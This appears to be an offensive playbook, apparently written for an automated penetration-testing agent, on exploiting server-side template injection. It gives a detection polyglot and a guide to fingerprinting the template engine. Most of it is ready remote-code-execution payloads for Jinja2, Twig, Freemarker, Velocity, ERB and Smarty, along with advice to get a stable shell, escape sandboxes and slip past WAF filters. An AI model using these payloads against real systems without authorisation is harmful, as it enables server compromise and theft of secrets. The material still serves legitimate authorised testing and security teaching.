Server-Side Template Injection (SSTI)
When this fires
Reflected input where a math/template payload EVALUATES server-side (not just echoes). Common sinks: name/greeting fields, email/PDF/report/invoice generators, custom error pages, admin templates.
Detect
Send the polyglot; if any arithmetic evaluates, it's SSTI (reflected ≠ executed — the value must be COMPUTED):
${7*7} {{7*7}} <%= 7*7 %> #{7*7} ${{7*7}} @(7*7)
49/7777777 back = hit. Then fingerprint the engine to pick the RCE path.
Decide — fingerprint the engine
{{7*7}}=49 but{{7*'7'}}→7777777= Jinja2/Twig (Python/PHP);TemplateError= Jinja2.${7*7}=49 = Freemarker/Velocity (Java) or JSP EL.#{7*7}= Ruby ERB / Thymeleaf / JSF.<%= 7*7 %>= ERB (Ruby) / EJS (Node).${{7*7}}errors but{{7*7}}ok = Handlebars/Node.
Exploit → PROVE IMPACT (engine-specific RCE)
Jinja2: {{cycler.__init__.__globals__.os.popen('id').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig: {{['id']|filter('system')}} / {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)...("id")
ERB: <%= `id` %> / <%= system('id') %>
Smarty: {system('id')} / {php}system('id');{/php}
Proof required: id/uname -a output (RCE), or read a secret file. Then convert to a stable shell / record_artifact.
Tooling
tplmap -u '<url>?p=*' (auto-detect+exploit) if available; else manual per above. nuclei -tags ssti.
False positives / pitfalls
- Client-side echo (value reflected but NOT computed) = XSS, not SSTI.
- Sandboxed engine (Twig sandbox, Jinja2 SandboxedEnvironment) → try the sandbox-escape gadgets from PayloadsAllTheThings before concluding dead.
- WAF stripping
{{ }}→ try${},#{}, whitespace/comment obfuscation.